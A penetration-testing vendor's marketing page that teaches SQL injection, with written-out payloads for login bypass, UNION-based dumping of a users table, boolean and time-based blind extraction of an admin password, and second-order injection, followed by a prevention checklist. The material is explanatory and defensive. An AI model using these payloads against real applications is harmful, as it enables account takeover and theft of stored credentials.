SQL Injection Testing
Your Database Just Answered A Question It Should Not Have
Picture this: someone types ' OR 1=1 -- into your login form. Instead of showing an error, your application logs them in as the first user in your database - probably an admin. That single quote character just bypassed your entire authentication system. This is SQL injection, and it remains one of the most exploited vulnerabilities on the web. When you test for SQL injection, you are checking whether your application treats user input as trusted code. It should not.
Is Your Application Building SQL Queries With User Input?
Let me ask you something that might make you uncomfortable: how many of your database queries include user input? Search boxes, login forms, profile updates, API filters - every single one of those is a potential entry point. And if your developers are concatenating strings to build SQL queries, you have a problem.
SQL injection has been around since the late 1990s. You would think we would have solved it by now. But the numbers tell a different story. In 2023, the Clop ransomware group exploited a SQL injection vulnerability in Progress Software's MOVEit Transfer platform. The result? Over 2,000 organizations compromised, including government agencies, banks, and healthcare providers. According to Palo Alto Networks, this single SQL injection vulnerability triggered one of the largest mass exploitation events that year.
The frustrating part? Every SQL injection vulnerability is entirely preventable. Parameterized queries have been standard practice for decades. Yet developers keep making the same mistake: building queries by gluing strings together. One misplaced quote, one unescaped input, and an attacker owns your database.
This is exactly why running a proper sql injection check on your application is not optional - it is essential. And it is not something you do once and forget. Every code change, every new feature, every API endpoint can introduce a new vulnerability.
Think your application is immune?
PentestMate's AI agents find these flaws in 87% of the apps we test.
What Our AI Agents Look For
Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.
Classic SQL Injection
CRITICALThe original attack: injecting SQL code through form fields, URL parameters, or API inputs. We test login forms, search boxes, and any field that touches your database with payloads designed to expose vulnerable query construction.
Blind SQL Injection (Boolean-Based)
CRITICALWhen your application does not show database errors, attackers use true/false conditions to extract data one bit at a time. We probe with conditions like AND 1=1 vs AND 1=2 to detect blind injection points.
Time-Based Blind SQL Injection
CRITICALNo visible response difference? Attackers use SLEEP() or WAITFOR DELAY commands to infer data through response timing. A 5-second delay confirms the injection worked. We test for these subtle timing-based vulnerabilities.
Union-Based SQL Injection
CRITICALUsing UNION SELECT statements to append additional queries and extract data from other tables. We test whether attackers can combine legitimate queries with malicious ones to dump your entire database schema.
Error-Based SQL Injection
HIGHVerbose database errors reveal schema information, table names, and column structures. We trigger intentional errors to see if your application leaks database internals that help attackers craft targeted attacks.
Second-Order SQL Injection
HIGHMalicious input stored in the database and executed later in a different context. We test scenarios where data saved in profiles, comments, or logs gets used unsafely in subsequent queries.
Why SQL Injection Still Works After 25 Years
SQL injection was first documented in 1998. We have had parameterized queries since the early 2000s. Every security training mentions it. So why does it keep happening? Let me show you exactly how these attacks work and why they slip through.
The Authentication Bypass - SQL Injection 101
This is the attack that every security course starts with, and for good reason. It is dead simple, devastatingly effective, and still works on production systems. When you test for SQL injection, this is the first thing to check.
// Your login form sends this to the server:
// Username: admin
// Password: password123
// Your code builds this query:
const query = "SELECT * FROM users WHERE username = '"
+ username + "' AND password = '" + password + "'";
// Result: SELECT * FROM users WHERE username = 'admin'
// AND password = 'password123'
// Works as expected.
// Now the attacker enters:
// Username: admin' --
// Password: (anything)
// Your code builds:
const query = "SELECT * FROM users WHERE username = 'admin' --'
AND password = 'anything'";
// The -- comments out everything after it!
// Database sees: SELECT * FROM users WHERE username = 'admin'
// Password check? Gone. Attacker is now logged in as admin.
// Even simpler attack:
// Username: ' OR '1'='1
// Password: ' OR '1'='1
// Result: WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
// Both conditions are always true. Returns ALL users.
// Application logs attacker in as the first user (usually admin).This exact vulnerability was found in a major enterprise application in 2024. The fix? Two lines of code to use parameterized queries. But nobody ran an injection sql test before deploying.
Extracting Your Entire Database With UNION Attacks
Once an attacker finds an injection point, they do not stop at authentication bypass. They want your data - all of it. UNION-based attacks let them append their own queries to yours and extract information from any table.
// Your product search query:
SELECT name, price FROM products WHERE category = '[user_input]'
// Normal usage - user searches "electronics":
SELECT name, price FROM products WHERE category = 'electronics'
// Returns: iPhone, $999; MacBook, $1299; etc.
// Attacker's input: ' UNION SELECT username, password FROM users --
SELECT name, price FROM products WHERE category = ''
UNION SELECT username, password FROM users --'
// Now the "product search" returns:
// iPhone, $999
// MacBook, $1299
// admin, $2a$10$N9qo8uLOickgx2... (bcrypt hash)
// john.doe, $2a$10$XYZ...
// jane.smith, $2a$10$ABC...
// Attacker now has your entire user table.
// But first, they need to know the table and column names.
// Step 1: Find number of columns
' ORDER BY 1-- (works)
' ORDER BY 2-- (works)
' ORDER BY 3-- (error - only 2 columns)
// Step 2: Find table names (MySQL example)
' UNION SELECT table_name, NULL FROM information_schema.tables --
// Step 3: Find column names
' UNION SELECT column_name, NULL FROM information_schema.columns
WHERE table_name = 'users' --
// Total time to dump database: 10-15 minutesA proper sql injection checker tests for UNION attacks by attempting to determine the number of columns and probing information_schema. If your application is vulnerable, an attacker can map your entire database structure.
Blind SQL Injection - When Errors Are Hidden
Smart developers hide database errors from users. Good practice for security, right? Not quite. Attackers adapt. With blind SQL injection, they extract data by asking yes/no questions and watching how your application behaves.
// Your application hides all database errors.
// No error messages, no stack traces, just generic responses.
// But the attacker can still ask questions:
// "Is the first character of the admin password 'a'?"
// Normal product URL:
https://shop.com/product?id=5
// Returns: Product details
// Attacker's boolean-based test:
https://shop.com/product?id=5 AND 1=1
// Returns: Product details (condition TRUE - page loads normally)
https://shop.com/product?id=5 AND 1=2
// Returns: No product found (condition FALSE - different response)
// Now the attacker knows: SQL injection works here.
// Time to extract data character by character:
https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1)
FROM users WHERE username='admin') = 'a'
// No product? First char is NOT 'a'
https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1)
FROM users WHERE username='admin') = 'b'
// No product? First char is NOT 'b'
// ... continues through alphabet until:
https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1)
FROM users WHERE username='admin') = 's'
// Product shows! First char IS 's'
// Repeat for each character. Automated tools like SQLmap
// can extract a full password hash in minutes.Hiding error messages is not a defense against SQL injection. A sql injection tester specifically looks for behavioral differences that reveal blind injection points.
Time-Based Extraction - The Slowest but Stealthiest Attack
What if your application returns identical responses for valid and invalid queries? Attackers turn to time-based techniques. They inject delays and measure response times to extract data bit by bit.
// Your application shows the SAME response regardless of query result.
// No content difference, no error messages, nothing visible changes.
// But timing cannot be hidden:
// Test if injection works:
https://shop.com/product?id=5; WAITFOR DELAY '0:0:5'--
// (SQL Server syntax)
// Or for MySQL:
https://shop.com/product?id=5 AND SLEEP(5)--
// Response takes 5 seconds? Injection confirmed.
// Response is instant? Not vulnerable (or wrong syntax).
// Now extract data through time:
// "If first char of admin password is 'a', wait 5 seconds"
https://shop.com/product?id=5 AND IF(
SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',
SLEEP(5),
0
)--
// Response instant: First char is NOT 'a'
// Response delayed 5 seconds: First char IS 'a'
// Binary search makes this faster:
// "If first char ASCII value > 109 (letter 'm'), delay"
// Narrows down each character in ~7 queries instead of 26+
// Complete password extraction time: 20-30 minutes
// Completely invisible to application logs (no errors)Time-based attacks are slow but nearly undetectable without proper monitoring. They leave no trace in your application logs. Only network timing analysis or a thorough sql injection check catches these.
Second-Order SQL Injection - The Delayed Payload
This is where things get tricky. The malicious input is stored safely, passes all your validation, and sits dormant in your database. Then, days or weeks later, a different feature uses that data - and the injection fires.
// Step 1: User registration (input is sanitized for THIS query)
// Attacker registers with username: admin'--
INSERT INTO users (username, email)
VALUES ('admin''--', 'attacker@evil.com')
// Properly escaped! Single quote doubled. Stored safely.
// Database now contains a user with literal username: admin'--
// Step 2: Weeks later, password reset feature
// Developer assumes data in database is already "clean"
function resetPassword(email) {
const user = await db.query(
"SELECT * FROM users WHERE email = ?", // Parameterized! Good!
[email]
);
// But then they build this query with the retrieved username:
const resetLog = await db.query(
"INSERT INTO password_resets (username, token) " +
"VALUES ('" + user.username + "', '" + token + "')" // OOPS
);
}
// When attacker's account requests password reset:
INSERT INTO password_resets (username, token)
VALUES ('admin'--', 'xyz123')
// The injection fires! The '--' comments out the rest.
// Depending on the query, attacker might:
// - Reset another user's password
// - Inject additional queries
// - Extract data through error messages
// The vulnerability exists in code that NEVER touches user input directly.
// It trusts data from the database.Second-order SQL injection often passes code review because the vulnerable code never directly handles user input. It assumes the database is a trusted source. Running an automated injection sql test across your entire application can catch these hidden vulnerabilities.
Still reading? Good. That means you care about security.
Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.
Stop Reading About Vulnerabilities.
Start Finding Them.
Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.
Comprehensive Payload Testing
Our AI agents test every input field with hundreds of SQL injection payloads - authentication bypasses, UNION attacks, blind injection, time-based, and database-specific syntaxes for MySQL, PostgreSQL, SQL Server, and Oracle.
Continuous Injection Testing
New endpoints, new parameters, new vulnerabilities. PentestMate runs a sql injection check on your application continuously, catching injection flaws the moment they appear in production.
Instant Vulnerability Alerts
When we detect an exploitable SQL injection vulnerability, you get notified immediately with the exact payload that worked, the affected endpoint, and remediation steps.
Start with a $1 trial - full access to all PentestMate AI-powered security testing
Quick Business Logic Security Checklist
Use this as a starting point. If you're missing even one of these, you have a problem.
Query Construction
- Use parameterized queries (prepared statements) everywhere
- Never concatenate user input into SQL strings
- Use ORM query builders instead of raw SQL when possible
- Review legacy code for string concatenation patterns
- Audit all stored procedures for dynamic SQL
Input Validation
- Validate input types (numbers should be numbers)
- Whitelist allowed characters where applicable
- Enforce length limits on all inputs
- Reject inputs containing SQL keywords in critical fields
- Sanitize inputs even when using parameterized queries
Database Security
- Use least-privilege database accounts
- Disable unnecessary database features (xp_cmdshell, etc.)
- Separate read and write database connections
- Never store credentials in application code
- Enable query logging for security monitoring
Error Handling
- Never expose database errors to users
- Use generic error messages in production
- Log detailed errors server-side for debugging
- Implement consistent error responses
- Monitor for unusual error patterns
Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.
Run Automated Security TestingReal-World Business Logic Breaches
These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:
MOVEit Transfer (2023)
Over 2,000 organizations compromised including government agenciesWhat happened: Zero-day SQL injection in file transfer platform (CVE-2023-34362)
Lesson: The vulnerability existed in a progress indicator parameter. Even seemingly innocent features can be injection vectors. A comprehensive sql injection tester would have caught this before attackers did. (Source: Palo Alto Networks Cyberpedia)
Fortra GoAnywhere (2023)
Multiple organizations breached, data theft and ransomware deploymentWhat happened: Pre-authentication SQL injection in managed file transfer
Lesson: Critical infrastructure software used by enterprises had a fundamental input validation flaw. The attack did not require any authentication. Regular penetration testing and automated sql injection checks are essential for third-party software.
How Many SQL Injection Vulnerabilities Are Hiding in Your Code?
Every form field, every API parameter, every search box is a potential entry point. Our AI agents act as a continuous sql injection checker, probing every input across your application with hundreds of payloads. They find the injection points that manual testing misses - before attackers do.
Related Security Tests
Server-Side Input Validation Pentesting
Learn more
Path Traversal Pentesting
Learn more
Remote Code Execution Testing
Learn more
Explore more security testing capabilities on our main site.
Back to PentestMate